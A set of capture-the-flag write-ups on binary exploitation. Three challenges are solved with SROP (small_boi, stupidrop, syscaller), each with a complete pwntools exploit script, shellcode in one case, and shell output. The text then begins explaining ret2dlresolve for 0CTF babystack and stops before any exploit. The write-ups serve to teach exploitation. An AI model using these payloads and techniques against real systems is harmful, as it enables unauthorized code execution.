small_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=070f96f86ab197c06c4a6896c26254cce3d57650, stripped
$    pwn checksec small_boi
[*] '/Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./small_boi
15935728

So we can see that we are dealing with a 64 bit binary, with NX. When we run the binary, it prompts us for input.

Reversing

So when we look at the binary in Ghidra, we see some interesting assembly:

                             //
                             // .text
                             // SHT_PROGBITS  [0x40017c - 0x4001c9]
                             // ram: 0040017c-004001c9
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined FUN_0040017c()
             undefined         AL:1           <RETURN>
                             FUN_0040017c                                    XREF[3]:     004001e0, 00400218(*),
                                                                                          _elfSectionHeaders::00000090(*)  
        0040017c 55              PUSH       RBP
        0040017d 48 89 e5        MOV        RBP,RSP
        00400180 b8 0f 00        MOV        EAX,0xf
                 00 00
        00400185 0f 05           SYSCALL
        00400187 90              NOP
        00400188 5d              POP        RBP
        00400189 c3              RET
        0040018a 58              ??         58h    X
        0040018b c3              ??         C3h
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined FUN_0040018c()
             undefined         AL:1           <RETURN>
             undefined1        Stack[-0x28]:1 local_28                                XREF[1]:     00400190(*)  
                             FUN_0040018c                                    XREF[3]:     entry:004001b6(c), 004001e8,
                                                                                          00400238(*)  
        0040018c 55              PUSH       RBP
        0040018d 48 89 e5        MOV        RBP,RSP
        00400190 48 8d 45 e0     LEA        RAX=>local_28,[RBP + -0x20]
        00400194 48 89 c6        MOV        RSI,RAX
        00400197 48 31 c0        XOR        RAX,RAX
        0040019a 48 31 ff        XOR        RDI,RDI
        0040019d 48 c7 c2        MOV        RDX,0x200
                 00 02 00 00
        004001a4 0f 05           SYSCALL
        004001a6 b8 00 00        MOV        EAX,0x0
                 00 00
        004001ab 5d              POP        RBP
        004001ac c3              RET
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined entry()
             undefined         AL:1           <RETURN>
                             entry                                           XREF[4]:     Entry Point(*), 00400018(*),
                                                                                          004001f0, 00400258(*)  
        004001ad 55              PUSH       RBP
        004001ae 48 89 e5        MOV        RBP,RSP
        004001b1 b8 00 00        MOV        EAX,0x0
                 00 00
        004001b6 e8 d1 ff        CALL       FUN_0040018c                                     undefined FUN_0040018c()
                 ff ff
        004001bb 48 31 f8        XOR        RAX,RDI
        004001be 48 c7 c0        MOV        RAX,0x3c
                 3c 00 00 00
        004001c5 0f 05           SYSCALL
        004001c7 90              NOP
        004001c8 5d              POP        RBP
        004001c9 c3              RET
                             //
                             // .rodata
                             // SHT_PROGBITS  [0x4001ca - 0x4001d1]
                             // ram: 004001ca-004001d1
                             //
                             s_/bin/sh_004001ca                              XREF[1]:     _elfSectionHeaders::000000d0(*)  
        004001ca 2f 62 69        ds         "/bin/sh"
                 6e 2f 73
                 68 00

So we see a small amount of assembly instructions. We see that it starts at 0x4001ad, which it then calls the 0x40018c function. We see that that code there will make a read syscall, which will scan in 0x200 bytes worth of data. Looking at the layout of the stack (or just checking out the memory in gdb), we see that after 0x28 bytes of input from that read syscall we overwrite the return address. So we have a buffer overflow.

Exploitation

So we can get code execution. The problem now is what code will we execute? The binary has very little instructions with it, and isn't linked with libc:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi
0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

In addition to that, the Stack is not executable. However there is a function that will help us:

                             //
                             // .text
                             // SHT_PROGBITS  [0x40017c - 0x4001c9]
                             // ram: 0040017c-004001c9
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined FUN_0040017c()
             undefined         AL:1           <RETURN>
                             FUN_0040017c                                    XREF[3]:     004001e0, 00400218(*),
                                                                                          _elfSectionHeaders::00000090(*)  
        0040017c 55              PUSH       RBP
        0040017d 48 89 e5        MOV        RBP,RSP
        00400180 b8 0f 00        MOV        EAX,0xf
                 00 00
        00400185 0f 05           SYSCALL
        00400187 90              NOP
        00400188 5d              POP        RBP
        00400189 c3              RET
        0040018a 58              ??         58h    X
        0040018b c3              ??         C3h

This will make a sigreturn call, where the input is what is on the stack. What we can do is call this function, and provide a sigreturn frame as the input. This will allow us to perform an SROP attack. When we do this, the stack will shift by 0x8 bytes so we will need to account for that in our exploit.

Now for the SROP attack, we will make a syscall to execve("/bin/sh", NULL, NULL). Luckily for us, the string /bin/sh is in the binary at 0x4001ca:

                             //
                             // .rodata
                             // SHT_PROGBITS  [0x4001ca - 0x4001d1]
                             // ram: 004001ca-004001d1
                             //
                             s_/bin/sh_004001ca                              XREF[1]:     _elfSectionHeaders::000000d0(*)  
        004001ca 2f 62 69        ds         "/bin/sh"
                 6e 2f 73
                 68 00

That is everything we need to write the exploit.

Exploit

Putting it all together, we have the following exploit:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './small_boi': pid 3434
[*] Switching to interactive mode
$ w
 21:17:05 up 16 min,  1 user,  load average: 0.12, 0.19, 0.28
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               21:00   ?xdm?  51.68s  0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
exploit.py  readme.md  small_boi
$  

Inctf 2017 stupidrop

Let's take a look at the binary:

$    file stupidrop
stupidrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4f0ff8340bc3eead42d0f7b14535ee7c74a6ca7d, not stripped
$    pwn checksec stupidrop
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./stupidrop
15935728

So we can see that we are dealing with a 64 bit dynamically linked binary, with an NX stack. When we run it, it prompts us for input:

Reversing

Looking at the main function, we can see an obvious bug:

undefined8 main(void)

{
  char input [48];
 
  setvbuf(stdout,(char *)0x0,2,0);
  alarm(0x20);
  gets(input);
  return 0;
}

So it uses gets, which gives us a buffer overflow (when we check the offset, we see it is 0x38) that we can hit the saved return address with. Since there is no Stack Canary, we will be able to get code execution without a leak.

Writing /bin/sh

So for our exploit, we will be using an SROP attack to jump to a syscall, and make an execve("/bin/sh", NULL, NULL) call. To do that, we will need to write /bin/sh\x00 somewhere to memory, at an address we know. Looking at the bss in Ghidra, we see that 0x601050 would probably be a good candidate. This is because it doesn't look like anything is stored there that would mess with what we are doing, we know it's address (thanks to no PIE), and that it is in a memory region that we can read and write to:

        00601050 00              undefined1 00h
        00601051 00              ??         00h
        00601052 00              ??         00h
        00601053 00              ??         00h
        00601054 00              ??         00h
        00601055 00              ??         00h
        00601056 00              ??         00h
        00601057 00              ??         00h

Now for how to write /bin/sh\x00 to 0x601050, we will call gets. The function gets is imported (we can see it under the list of imports in Ghidra), and since PIE isn't enabled we know it's address. So we will just call gets with 0x601050 as an argument (which we have the rop gadgets for), and write /bin/sh\x00 to 0x601050.

Getting the rop gadget:

$ python ROPgadget.py --binary stupidrop | grep "pop rdi"
0x00000000004006a3 : pop rdi ; ret

Writing Rax Value

So for the SROP syscall, we will need to set rax equal to 0xf (since rax specifies what syscall will be made). However we don't really have any rop gadgets that we can use, which will set it. So we will be setting it by calling the alarm function, since return values are stored in the rax register.

The alarm function is used to specify how many seconds to wait before generating a SIGALRM. It takes a single argument, an unsigned int specifying the amount of seconds. If we call alarm once, it will set the number of seconds (which the return value will be 0). If we call it a second time with an argument of 0, it will cancel the pending alarm and return the number of seconds remaining. With this, we can call alarm once with an argument (stored) in the rdi register equal to 0xf. Then proceeding that we can just call alarm again with the rdi register being equal to 0x0 and it will set rax to 0xf as the return value.

SROP attack

Now that we have rax set to 0xf, space on the stack to store our sigreturn frame, and we have a syscall rop gadget:

$ python ROPgadget.py --binary stupidrop | grep syscall
0x000000000040063e : syscall

So we have everything we need to make the sigreturn. So we have control over all of the registers. Since we have the syscall rop gadget and a pointer to /bin/sh, we can make the execve("/bin/sh", NULL, NULL) call. In order to get that, we will have the following registers set accordingly:

rip:  0x40063e (address of syscall rop gadget)
rax:  0x3b (specify execve syscall)
rdi:  0x601050 (pointer to "/bin/sh")
rsi:  0x0 (specify no arguments)
rdx:  0x0 (specify no enviornment variables)

That syscall will pop a shell for us. We will just store the frame right after the srop syscall, since that will put it at the top of the stack for the sigreturn (which is where it expects it).

Exploit

Putting it all together, we get the following exploit:

from pwn import *

# Establish the target
target = process('./stupidrop')
gdb.attach(target, gdbscript='b *0x400289')

elf = ELF('stupidrop')

context.arch = "amd64"

# Establish needed gadgets
syscall = p64(0x40063e)
popRdi = p64(0x4006a3)

# Establish needed functions
gets = p64(elf.symbols['gets'])
alarm = p64(elf.symbols['alarm'])

# Establish address where we will write "/bin/sh"
binshAdr = p64(0x601050)

# Filler to return address
payload = ""
payload += "0"*0x38

# Use gets to write "/bin/sh" to 0x601050
payload += popRdi
payload += binshAdr
payload += gets


# Use alarm to set the rax register to 0xf
payload += popRdi
payload += p64(0xf)
payload += alarm
payload += popRdi
payload += p64(0x0)
payload += alarm

# Execute the SROP to make the execve call
frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x40063e

# Prep the registers for the execve syscall
frame.rax = 0x3b
frame.rdi = 0x601050
frame.rsi = 0x0
frame.rdx = 0x0

# Add the sigreturn frame to the payload, and make the syscall
payload += syscall
payload += str(frame)


# Send the payload
target.sendline(payload)

# Send "/bin/sh" to the gets call
raw_input()
target.sendline("/bin/sh\x00")


target.interactive()

When we run it:

$ python exploit.py
[+] Starting local process './stupidrop': pid 10520
[*] running in new terminal: /usr/bin/gdb -q  "./stupidrop" 10520 -x "/tmp/pwnyQjXEX.gdb"
[+] Waiting for debugger: Done
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[*] Switching to interactive mode
$ w
 22:09:26 up  3:22,  1 user,  load average: 1.56, 1.80, 1.86
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               18:47   ?xdm?  15:46   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
ROPgadget.py  core  exploit.py    readme.md  stupidrop

Just like that, we popped a shell!

Swamp ctf 2019 syscaller

Let's take a look at the binary:

$    file syscaller
syscaller: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=15d03138700bbfd52c735087d738b7433cfa7f22, not stripped
$    pwn checksec syscaller
[*] '/Hackery/pod/modules/srop/swamp19_syscaller/syscaller'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
$    /syscaller
Hello and welcome to the Labyrinthe. Make your way or perish.
15935728

So we can see that we are dealing with a 64 bit binary, with non of the standard binary mitigations. When we run it, it prompts us for input.

Reversing

When we through the binary in Ghidra, we see that it looks like another custom assembled binary. When we look at the entry function, we see this:

                             //
                             // .text
                             // SHT_PROGBITS  [0x4000e0 - 0x40016d]
                             // ram: 004000e0-0040016d
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined entry()
             undefined         AL:1           <RETURN>
                             _start                                          XREF[3]:     Entry Point(*), 00400018(*),
                             entry                                                        _elfSectionHeaders::00000090(*)  
        004000e0 55              PUSH       RBP
        004000e1 48 89 e5        MOV        RBP,RSP
        004000e4 48 81 ec        SUB        RSP,0x200
                 00 02 00 00
        004000eb bf 01 00        MOV        EDI,0x1
                 00 00
        004000f0 48 be 30        MOV        RSI,msg1                                         = 48h    H
                 01 40 00
                 00 00 00 00
        004000fa ba 3e 00        MOV        EDX,0x3e
                 00 00
        004000ff b8 01 00        MOV        EAX,0x1
                 00 00
        00400104 0f 05           SYSCALL
        00400106 b8 00 00        MOV        EAX,0x0
                 00 00
        0040010b 48 89 e6        MOV        RSI,RSP
        0040010e bf 00 00        MOV        EDI,0x0
                 00 00
        00400113 ba 00 02        MOV        EDX,0x200
                 00 00
        00400118 0f 05           SYSCALL
        0040011a 41 5c           POP        R12
        0040011c 41 5b           POP        R11
        0040011e 5f              POP        RDI
        0040011f 58              POP        RAX
        00400120 5b              POP        RBX
        00400121 5a              POP        RDX
        00400122 5e              POP        RSI
        00400123 5f              POP        RDI
        00400124 0f 05           SYSCALL
        00400126 b8 3c 00        MOV        EAX,0x3c
                 00 00
        0040012b 48 31 ff        XOR        RDI,RDI
        0040012e 0f 05           SYSCALL

We can see, it starts off by moving the stack down by 0x200 bytes. Then it sets up a write syscall to stdout (which is what causes us to see that output message). Proceeding that it sets up a read syscall which will allow us to scan in 0x200 bytes via stdin to the top of the stack (where rsp is). After that, it will pop values off of the stack into the r12, r11, rdi, rax, rbx, rdx, rsi, and rdi registers and make a syscall. So we get a syscall where we control a lot of the registers. After that it will make an exit syscall.

Exploitation

So for the exploit, we will have to do several things. We will use the syscall that is preceeded by a bunch of pop instructions to execute a sigreturn, which will give us code execution. However there is one problem with that.

Remapping Memory Regions

Let's take a look at the memory mappings:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/pod/modules/srop/swamp19_syscaller/syscaller
0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  

So we can see that the only writable memory region by default is the stack. Thing is, we need to write the string /bin/sh somewhere in memory at an address we know in order to call it. So starting off the only region we can write to is the stack. However when the syscall is executed, the only real stack addresses we have are stored in the rbp and rsp registers, which are overwritten by the sigreturn. We can't use the syscall to give us an inofleak, because if it does it will continue on to the exit syscall before we actually get code execution. So by using the sigreturn, we effectively lose our only really stack addresses (stored in rbp and rsp). Also when we check the stack to see what's in range of our input for a potential leak, we come up with nothing:

gef➤  x/65g 0x7fffffffde68
0x7fffffffde68:    0x3832373533393531    0xa
0x7fffffffde78:    0x0    0x0
0x7fffffffde88:    0x0    0x0
0x7fffffffde98:    0x0    0x0
0x7fffffffdea8:    0x0    0x0
0x7fffffffdeb8:    0x0    0x0
0x7fffffffdec8:    0x0    0x0
0x7fffffffded8:    0x0    0x0
0x7fffffffdee8:    0x0    0x0
0x7fffffffdef8:    0x0    0x0
0x7fffffffdf08:    0x0    0x0
0x7fffffffdf18:    0x0    0x0
0x7fffffffdf28:    0x0    0x0
0x7fffffffdf38:    0x0    0x0
0x7fffffffdf48:    0x0    0x0
0x7fffffffdf58:    0x0    0x0
0x7fffffffdf68:    0x0    0x0
0x7fffffffdf78:    0x0    0x0
0x7fffffffdf88:    0x0    0x0
0x7fffffffdf98:    0x0    0x0
0x7fffffffdfa8:    0x0    0x0
0x7fffffffdfb8:    0x0    0x0
0x7fffffffdfc8:    0x0    0x0
0x7fffffffdfd8:    0x0    0x0
0x7fffffffdfe8:    0x0    0x0
0x7fffffffdff8:    0x0    0x0
0x7fffffffe008:    0x0    0x0
0x7fffffffe018:    0x0    0x0
0x7fffffffe028:    0x0    0x0
0x7fffffffe038:    0x0    0x0
0x7fffffffe048:    0x0    0x0
0x7fffffffe058:    0x0    0x0
0x7fffffffe068:    0x0

My solution to this is to remap the binary segment (0x400000 - 0x401000) to the permissions rwx, so we can read write and execute to that segment. I will do this using an mprotect syscall, which allows me to assign permissions to a memory region. For that, we will need to have the following register values set:

rax:    0xa (specify memprotect syscall)
rdi:    0x400000 (specify beginning of the binary's data segment)
rsi:    0x1000 (specify to apply the permissions to the chunk of this length, which covers the entire memory segment)
rdx:    0x7 (standard unix permission for read write and execute, read is 4, write is 2, execute is 1)

When we make that syscall, we see that we are able to remap the permissions to be rwx from r-x:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 rwx /Hackery/pod/modules/srop/swamp19_syscaller/syscaller
0x00007fff39c9e000 0x00007fff39cbf000 0x0000000000000000 rwx [stack]
0x00007fff39ddd000 0x00007fff39de0000 0x0000000000000000 r-- [vvar]
0x00007fff39de0000 0x00007fff39de1000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Also for which syscall to use, I choose 0x400104. The reason for this, is immediately after that is a read syscall into rsp that we will use. When we do the initial sigreturn, we will set rsp to be equal to 0x40011a, which is the instruction pointer immediately after the syscall to scan in our data. The reason for this, is that we are just going to overwrite the instructions there with our shellcode. That way after that syscall is finished executing, it will just run our shellcode and we will get a shell!

Exploit

Putting it all together, we have the following exploit:

from pwn import *

# Establish the target
target = process("./syscaller")
#gdb.attach(target, gdbscript='b *0x400104')

context.arch = "amd64"

# Initial registers to be popped
r12 = "0"*8
r11 = "1"*8
rdi = "0"*8
rax = p64(0xf)
rbx = "0"*8
rdx = "1"*8
rsi = "0"*8
rdi = "1"*8

# Form the payload for the registers to be popped
payload = ""
payload += r12
payload += r11
payload += rdi
payload += rax
payload += rbx
payload += rdx
payload += rsi
payload += rdi

# Make the sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400104
frame.rax = 0xa
frame.rdi = 0x400000
frame.rsi = 0x1000
frame.rdx = 0x7

frame.rsp = 0x40011a

# Append the sigreturn frame to the payload
payload += str(frame)

# Send the payload
target.sendline(payload)

# A Raw input for I/O purposes
raw_input()

# Send our shellcode
# I did not write this shellcode, it is from: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/
shellcode = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
target.sendline(shellcode)

# Drop to an interactive shell
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './syscaller': pid 16165
input
[*] Switching to interactive mode
Hello and welcome to the Labyrinthe. Make your way or perish.
$ w
 02:45:51 up  7:59,  1 user,  load average: 1.33, 1.19, 1.10
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               18:47   ?xdm?  43:02   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
ROPgadget.py  core  exploit.py    readme.md  syscaller
$  

Just like that, we got a shell!

ret2csu

0ctf 2018 Babystack

This writeup is based off of these resources:

https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
https://kileak.github.io/ctf/2018/0ctf-qual-babystack/

The objective of this challenge is to pop a shell, but without using an infoleak. The challenge originally used some python scripting to enforce this, however I did not use it. I know people could take the easy way out with how I have it, but where is the fun in that?

Let's take a look at the binary:

$    file babystack
babystack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=76b50d733400542b34d5e8fa23f0f12dc951d4ef, stripped
$    pwn checksec babystack
[*] '/Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./babystack
15935728

So we can see that we are dealing with a 32 bit elf, that has a Non-Executable stack. When we run it, it prompts us for input.

Reversing

When we take a look at the binary in Ghidra, we don't immediately see a main function. However we see this function at 0x0804843b:

void scanInput(void)

{
  undefined input [40];
 
  read(0,input,0x40);
  return;
}

We can see here that it is scanning in 0x40 (64) bytes worth of data in a 40 byte chunk, giving us a 24 byte overflow. When we set a breakpoint for the read call in the function at 0x804844c, we see that it is indeed called (so this function is what was scanning in our input). When we check the offset between the start of our input and the return address, we see that it is 44 bytes.

Exploitation

So we have an obvious stack overflow bug. However how will we land it? Infoleaks are out of the question, so we can't do a ret2libc attack (returning to gadgets/functions/code in the libc). Also we don't have a libc file provided, so one more reason why ret2lic isn't feasible. It is a dynamically linked binary with a small code base, so we don't have many gadgets to work with. The only imported functions are alarm and read, and since our input has to be given as a single chunk, that doesn't help us too much. The answer to this is we will be performing a ret2dlresolve attack.

ret2dlresolve

So dynamically linked binaries are linked with a libc file when they are executed. This provides several advantages such as a smaller binary size. However since when the binary is compiled it doesn't know where functions in libc will be since it is linked at runtime, it has to go through a process of linking it at run time. The tl;dr of this is it essentially just looks up what the libc address of a function it is trying to link, and writes it to a section of memory in the binary, so it can call the libc function. A ret_2_dlresolve attack targets that functionality. First let's talk about how this process works before we talk about how we will attack it.

Elf binaries use something called Delayed Binding, which means that the linking process happens when the binary first tries to execute a libc function. To understand that, let's look at what the GOT addresses are for read before it is called:

Got table entries for read and alarm in .got.plt:

                             PTR_read_0804a00c                               XREF[1]:     read:08048300  
        0804a00c 00 b0 04 08     addr       read                                             = ??
                             PTR_alarm_0804a010                              XREF[1]:     alarm:08048310  
        0804a010 04 b0 04 08     addr       alarm                                            = ??

Now let's see what it is

gef➤  b *0x804844c
Breakpoint 1 at 0x804844c
gef➤  r
Starting program: /Hackery/pod/modules/ret2_csu_dl/0ctf18_babystack/babystack

Breakpoint 1, 0x0804844c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd0d0  →  0xffffd108  →  0x00000000
$ebx   : 0x0       
$ecx   : 0xffffd120  →  0x00000001
$edx   : 0x0       
$esp   : 0xffffd0c0  →  0x00000000
$ebp   : 0xffffd0f8  →  0xffffd108  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x0804844c  →  0xfffeafe8  →  0x00000000
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0c0│+0x0000: 0x00000000     ← $esp
0xffffd0c4│+0x0004: 0xffffd0d0  →  0xffffd108  →  0x00000000
0xffffd0c8│+0x0008: 0x00000040 ("@"?)
0xffffd0cc│+0x000c: 0xf7fb5000  →  0x001dbd6c
0xffffd0d0│+0x0010: 0xffffd108  →  0x00000000
0xffffd0d4│+0x0014: 0xf7fe9790  →   pop edx
0xffffd0d8│+0x0018: 0xffffd144  →  0x00000000
0xffffd0dc│+0x001c: 0xffffd108  →  0x00000000
──────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048446                  lea    eax, [ebp-0x28]
    0x8048449                  push   eax
    0x804844a                  push   0x0
 →  0x804844c                  call   0x8048300 <read@plt>
   ↳   0x8048300 <read@plt+0>     jmp    DWORD PTR ds:0x804a00c
       0x8048306 <read@plt+6>     push   0x0
       0x804830b <read@plt+11>    jmp    0x80482f0
       0x8048310 <alarm@plt+0>    jmp    DWORD PTR ds:0x804a010
       0x8048316 <alarm@plt+6>    push   0x8
       0x804831b <alarm@plt+11>   jmp    0x80482f0
──────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
read@plt (
   [sp + 0x0] = 0x00000000,
   [sp + 0x4] = 0xffffd0d0 → 0xffffd108 → 0x00000000,
   [sp + 0x8] = 0x00000040,
   [sp + 0xc] = 0xf7fb5000 → 0x001dbd6c
)
──────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babystack", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804844c → call 0x8048300 <read@plt>
[#1] 0x804847a → mov eax, 0x0
[#2] 0xf7df7751 → __libc_start_main()
[#3] 0x8048361 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/w 0x804a00c
0x804a00c <read@got.plt>:    0x8048306
gef➤  x/i 0x8048306
   0x8048306 <read@plt+6>:    push   0x0
gef➤  x/6i 0x8048300
   0x8048300 <read@plt>:    jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:    push   0x0
   0x804830b <read@plt+11>:    jmp    0x80482f0
   0x8048310 <alarm@plt>:    jmp    DWORD PTR ds:0x804a010
   0x8048316 <alarm@plt+6>:    push   0x8
   0x804831b <alarm@plt+11>:    jmp    0x80482f0

So we can see that the got entry for read points to read@plt+6. For the read@plt function, we can see that it starts off by jumping to whatever value is stored in the got entry for read (stored at 0x804a00c). Proceeding that it will push 0x0 on to the stack (offset for the read symbol), and jump to 0x80482f0. When we look at 0x80482f0 we see this:

gef➤  x/10i 0x80482f0
   0x80482f0:    push   DWORD PTR ds:0x804a004
   0x80482f6:    jmp    DWORD PTR ds:0x804a008
   0x80482fc:    add    BYTE PTR [eax],al
   0x80482fe:    add    BYTE PTR [eax],al
   0x8048300 <read@plt>:    jmp    DWORD PTR ds:0x804a00c
   0x8048306 <read@plt+6>:    push   0x0
   0x804830b <read@plt+11>:    jmp    0x80482f0
gef➤  x/w 0x804a008
0x804a008:    0xf7fe9780

So we can see it pushes the DWORD stored at 0x804a004 onto the stack. Then it jumps to the instruction pointer stored in 0x804a008. This function is _dl_runtime_resolve, and the value pushed before it is the link map. Even though there isn't a symbol for _dl_runtime_resolve, we can see that it's address is in the middle of some _dl functions:

gef➤  info functions
All defined functions:

.    .    .    

0xf7fe7570  _dl_make_stack_executable
0xf7fe7830  _dl_find_dso_for_object
0xf7fe9910  _dl_exception_create
0xf7fe9a10  _dl_exception_create_format
0xf7fe9d60  _dl_exception_free
0xf7feae80  __tunable_get_val

We can actually see the _dl_runtime_resolve function here:

gef➤  x/11i 0xf7fe9780
   0xf7fe9780:    push   eax
   0xf7fe9781:    push   ecx
   0xf7fe9782:    push   edx
   0xf7fe9783:    mov    edx,DWORD PTR [esp+0x10]
   0xf7fe9787:    mov    eax,DWORD PTR [esp+0xc]
   0xf7fe978b:    call   0xf7fe3af0 # Function which resolves the libc function address (_dl_fixup)
   0xf7fe9790:    pop    edx # Resolved libc address stored in eax (return value holder)
   0xf7fe9791:    mov    ecx,DWORD PTR [esp]
   0xf7fe9794:    mov    DWORD PTR [esp],eax # Store resolved libc address on the top of the stack ([esp])
   0xf7fe9797:    mov    eax,DWORD PTR [esp+0x4]
   0xf7fe979b:    ret    0xc # return to the libc function which we worked on resolving

When it goes through the process of linking the function, it needs to actually know which function it is linking (whether it be puts, system, or read). This is done by giving an offset to the symbol table (remember the push 0x0 earlier).

After read@plt is executed we can see that the got entry points to the libc address for read. That way whenever read@plt is called again, it will just jump to the got entry for it, which will be a libc address:

──────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804846d                  call   0x8048310 <alarm@plt>
    0x8048472                  add    esp, 0x10
    0x8048475                  call   0x804843b
 →  0x804847a                  mov    eax, 0x0
    0x804847f                  mov    ecx, DWORD PTR [ebp-0x4]
    0x8048482                  leave  
    0x8048483                  lea    esp, [ecx-0x4]
    0x8048486                  ret    
    0x8048487                  xchg   ax, ax
──────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babystack", stopped, reason: TEMPORARY BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804847a → mov eax, 0x0
[#1] 0xf7df7751 → __libc_start_main()
[#2] 0x8048361 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/w 0x804a00c
0x804a00c <read@got.plt>:    0xf7ec67e0
gef➤  x/i 0xf7ec67e0
   0xf7ec67e0 <read>:    push   esi
gef➤  p read
$2 = {<text variable, no debug info>} 0xf7ec67e0 <read>

Our attack will be to essentially create a fake symbols table (symtab), with a known offset to a fake symbol. If we were to pass this to _dl_runtime_resolve, it would call _dl_fixup which would turn around to resolve and execute that symbol (assuming it resolves to an actual libc function). That is what we will do to execute system.

Scanning in more data

